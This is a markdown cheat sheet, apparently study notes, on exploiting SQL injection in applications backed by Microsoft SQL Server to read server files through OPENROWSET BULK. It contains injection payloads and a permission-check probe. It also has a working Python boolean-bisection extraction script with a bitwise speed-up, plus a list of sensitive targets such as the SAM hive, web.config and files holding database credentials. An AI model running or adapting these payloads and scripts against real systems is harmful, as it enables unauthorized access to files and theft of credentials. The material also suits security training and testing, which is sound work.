Skip to content

Latest commit

 

History

History
244 lines (164 loc) · 5.09 KB

File metadata and controls

244 lines (164 loc) · 5.09 KB

📂 MSSQL File Read

Overview

With correct permissions, we can read files via SQL injection using the OPENROWSET function with bulk operations.


OPENROWSET Syntax

Get File Length

SELECT LEN(BulkColumn) FROM OPENROWSET(BULK '<path>', SINGLE_CLOB) AS x

Get File Contents

SELECT BulkColumn FROM OPENROWSET(BULK '<path>', SINGLE_CLOB) AS x

Data Types

Option Storage Type Use Case
SINGLE_CLOB varchar Text files
SINGLE_BLOB varbinary Binary files
SINGLE_NCLOB nvarchar Unicode text

Required Permissions

Bulk operations require one of:

  • ADMINISTER BULK OPERATIONS
  • ADMINISTER DATABASE BULK OPERATIONS

Check Permissions Query

SELECT COUNT(*) FROM fn_my_permissions(NULL, 'DATABASE') 
WHERE permission_name = 'ADMINISTER BULK OPERATIONS' 
   OR permission_name = 'ADMINISTER DATABASE BULK OPERATIONS';

SQLi Payload

maria' AND (SELECT COUNT(*) FROM fn_my_permissions(NULL, 'DATABASE') 
WHERE permission_name = 'ADMINISTER BULK OPERATIONS' 
   OR permission_name = 'ADMINISTER DATABASE BULK OPERATIONS')>0;--

URL Encode & Test

# Encode
printf %s "maria' AND (SELECT COUNT(*) FROM fn_my_permissions(NULL, 'DATABASE') WHERE permission_name = 'ADMINISTER BULK OPERATIONS' OR permission_name = 'ADMINISTER DATABASE BULK OPERATIONS') > 0;--" | jq -rR @uri

# Send
curl -s "http://<TARGET>/api/check-username.php?u=<ENCODED_PAYLOAD>"

Response: taken = Permissions granted ✅


Boolean-based File Read

Attack Strategy

  1. Find file length using LEN()
  2. Extract each character using SUBSTRING() + ASCII()
  3. Use bisection for efficiency

Python Script

#!/usr/bin/env python3
import requests
import json
import sys
from urllib.parse import quote_plus

target = "maria"

def oracle(query):
    payload = quote_plus(f"{target}' AND ({query})-- -")
    response = requests.get(f"http://<TARGET>/api/check-username.php?u={payload}")
    jsonResponse = json.loads(response.text)
    return jsonResponse['status'] == 'taken'

# Target file
filePath = r'C:\Windows\System32\flag.txt'

# Step 1: Get file length
length = 1
while not oracle(f"(SELECT LEN(BulkColumn) FROM OPENROWSET(BULK '{filePath}', SINGLE_CLOB) AS x) = {length}"):
    length += 1

print(f"[*] File length = {length}")

# Step 2: Extract contents using bisection
print("[*] File = ", end='')

for i in range(1, length + 1):
    low = 0
    high = 127
    
    while low <= high:
        mid = (low + high) // 2
        query = f"(SELECT ASCII(SUBSTRING(BulkColumn, {i}, 1)) FROM OPENROWSET(BULK '{filePath}', SINGLE_CLOB) AS x) BETWEEN {low} AND {mid}"
        
        if oracle(query):
            high = mid - 1
        else:
            low = mid + 1
    
    print(chr(low), end='')
    sys.stdout.flush()

print()

Output

$ python3 fileRead.py
[*] File length = 37
[*] File = [FILE_CONTENTS]

Query Templates

Check File Length

(SELECT LEN(BulkColumn) FROM OPENROWSET(BULK 'C:\path\file.txt', SINGLE_CLOB) AS x) = N

Extract Character at Position

(SELECT ASCII(SUBSTRING(BulkColumn, N, 1)) FROM OPENROWSET(BULK 'C:\path\file.txt', SINGLE_CLOB) AS x) = ASCII_VALUE

Bisection Query

(SELECT ASCII(SUBSTRING(BulkColumn, N, 1)) FROM OPENROWSET(BULK 'C:\path\file.txt', SINGLE_CLOB) AS x) BETWEEN low AND mid

Common Files to Read

Windows

File Path
Hosts C:\Windows\System32\drivers\etc\hosts
SAM (requires SYSTEM) C:\Windows\System32\config\SAM
Web config C:\inetpub\wwwroot\web.config
IIS logs C:\inetpub\logs\LogFiles\

Application-specific

File Purpose
web.config Connection strings, secrets
appsettings.json .NET Core config
connectionStrings.config Database credentials

Limitations

  • Requires bulk operation permissions
  • File must be accessible to SQL Server service account
  • Large files take long time (character-by-character)
  • Binary files need SINGLE_BLOB and hex encoding

Optimization Tips

Use SQL-Anding for Speed

def extract_char(position):
    c = 0
    for p in range(7):
        query = f"(SELECT ASCII(SUBSTRING(BulkColumn, {position}, 1)) FROM OPENROWSET(BULK '{filePath}', SINGLE_CLOB) AS x) & {2**p} > 0"
        if oracle(query):
            c |= 2**p
    return chr(c)

Parallel Extraction

Extract multiple characters simultaneously using threading.


Error Handling

File Not Found

If file doesn't exist, query will error. Test with known file first.

Permission Denied

Service account may not have read access to file.

Timeout

Large files may cause query timeout. Adjust script accordingly.


Quick Reference

Permission Check

SELECT COUNT(*) FROM fn_my_permissions(NULL, 'DATABASE') 
WHERE permission_name LIKE '%BULK%';

Read File

SELECT BulkColumn FROM OPENROWSET(BULK 'path', SINGLE_CLOB) AS x

File Length

SELECT LEN(BulkColumn) FROM OPENROWSET(BULK 'path', SINGLE_CLOB) AS x